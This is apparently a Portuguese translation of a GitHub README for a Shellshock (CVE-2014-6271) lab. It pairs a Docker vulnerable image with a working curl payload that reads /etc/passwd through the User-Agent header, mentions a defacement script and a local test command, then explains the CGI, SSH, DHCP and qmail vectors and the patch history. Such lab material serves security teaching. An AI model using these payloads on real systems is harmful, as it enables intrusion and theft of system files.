opsxcq/exploit-cve-2014-6271Exploit do Shellshock + ambiente vulnerável
Shellshock, também conhecido como Bashdoor, é uma família de bugs de segurança no amplamente utilizado shell Bash do Unix; o primeiro deles foi divulgado em 24 de setembro de 2014. Muitos serviços voltados para a Internet, como algumas implantações de servidores web, usam o Bash para processar determinadas solicitações, permitindo que um atacante faça versões vulneráveis do Bash executarem comandos arbitrários. Isso pode permitir que um atacante obtenha acesso não autorizado a um sistema de computador.
Você precisará ter o docker instalado para executar o ambiente; acesse docker.com e instale-o se ainda não o tiver.
Para iniciar o ambiente vulnerável, basta executar
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
Abra seu navegador e acesse localhost:8080; se tudo estiver OK, você verá uma página como esta
Existem várias maneiras de explorar essa falha
Um exemplo simples para executar cat /etc/passwd
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
Você pode usá-lo para executar qualquer comando que desejar
Este é apenas um código de exemplo em exploit-deface.sh; basta executá-lo contra a imagem
./exploit-deface.sh <ip> <port>
Por exemplo, se você estiver executando-o com o comando fornecido acima
./exploit-deface.sh localhost 8080
Basta atualizar seu navegador e você verá
Basta executar este script bash em seu sistema e você verá se está vulnerável ou não:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Quando um servidor web usa a Interface de Gateway Comum (CGI) para lidar com uma solicitação de documento, ele passa vários detalhes da solicitação para um programa manipulador na lista de variáveis de ambiente. Por exemplo, a variável HTTP_USER_AGENT tem um valor que, no uso normal, identifica o programa que envia a solicitação. Se o manipulador da solicitação for um script Bash, ou se ele executar um, por exemplo, usando a chamada system(3), o Bash receberá as variáveis de ambiente passadas pelo servidor e as processará conforme descrito acima. Isso fornece um meio para um atacante acionar a vulnerabilidade Shellshock com uma solicitação de servidor especialmente criada. A documentação de segurança do amplamente utilizado servidor web Apache afirma: "Scripts CGI podem ... ser extremamente perigosos se não forem cuidadosamente verificados." e outros métodos de lidar com solicitações de servidores web são frequentemente usados. Há uma série de serviços online que tentam testar a vulnerabilidade em servidores web expostos à Internet.
O OpenSSH tem um recurso "ForceCommand", em que um comando fixo é executado quando o usuário faz login, em vez de apenas executar um shell de comandos sem restrições. O comando fixo é executado mesmo que o usuário tenha especificado que outro comando deveria ser executado; nesse caso, o comando original é colocado na variável de ambiente "SSH_ORIGINAL_COMMAND". Quando o comando forçado é executado em um shell Bash (se o shell do usuário estiver definido como Bash), o shell Bash analisará a variável de ambiente SSH_ORIGINAL_COMMAND na inicialização e executará os comandos embutidos nela. O usuário usou seu acesso restrito ao shell para obter acesso irrestrito ao shell, usando o bug Shellshock.
Alguns clientes DHCP também podem passar comandos para o Bash; um sistema vulnerável pode ser atacado ao se conectar a uma rede Wi-Fi aberta. Um cliente DHCP normalmente solicita e recebe um endereço IP de um servidor DHCP, mas também pode receber uma série de opções adicionais. Um servidor DHCP malicioso pode fornecer, em uma dessas opções, uma string criada para executar código em uma estação de trabalho ou laptop vulnerável.
Ao usar o Bash para processar mensagens de e-mail (por exemplo, por meio de .forward ou piping do qmail-alias), o servidor de e-mail qmail passa entrada externa de uma maneira que pode explorar uma versão vulnerável do Bash.
O bug pode ser explorado para obter acesso ao Bash a partir do shell restrito do IBM Hardware Management Console, uma pequena variante Linux para administradores de sistemas. A IBM lançou um patch para resolver isso.
Até 24 de setembro de 2014, o mantenedor do Bash, Chet Ramey, forneceu uma versão de patch bash43-025 do Bash 4.3 corrigindo o CVE-2014-6271, que já havia sido empacotada pelos mantenedores das distribuições. Em 24 de setembro, o bash43-026 foi lançado, corrigindo o CVE-2014-7169. Em seguida, o CVE-2014-7186 foi descoberto. Florian Weimer, da Red Hat, publicou algum código de patch para isso "não oficialmente" em 25 de setembro, que Ramey incorporou ao Bash como bash43-027. Esses patches forneciam apenas código, úteis somente para aqueles que sabem compilar ("recompilar") um novo executável binário do Bash a partir do arquivo de patch e dos arquivos de código-fonte restantes.
No dia seguinte, a Red Hat apresentou oficialmente as atualizações correspondentes para o Red Hat Enterprise Linux, e um dia depois para o Fedora 21. A Canonical Ltd. apresentou atualizações para suas versões de suporte de longo prazo do Ubuntu no sábado, 27 de setembro; no domingo, houve atualizações para o SUSE Linux Enterprise. Na segunda e terça-feira seguintes, no final do mês, surgiram as atualizações do Apple OS X.
Em 1º de outubro de 2014, Michał Zalewski, do Google Inc., finalmente declarou que o código de Weimer e o bash43-027 corrigiram não apenas os três primeiros bugs, mas até os três restantes que foram publicados após o bash43-027, incluindo suas próprias duas descobertas. Isso significa que, após as atualizações anteriores das distribuições, nenhuma outra atualização foi necessária para cobrir todos os seis problemas.
Este ou o programa anterior é apenas para fins EDUCACIONAIS. Não o use sem permissão. O aviso legal usual se aplica, especialmente o fato de que eu (opsxcq) não sou responsável por quaisquer danos causados pelo uso direto ou indireto das informações ou funcionalidades fornecidas por estes programas. O autor ou qualquer provedor de Internet NÃO assume responsabilidade pelo conteúdo ou uso indevido destes programas ou de qualquer derivado deles. Ao usar estes programas, você aceita o fato de que qualquer dano (perda de dados, falha do sistema, comprometimento do sistema etc.) causado pelo uso destes programas não é responsabilidade do opsxcq.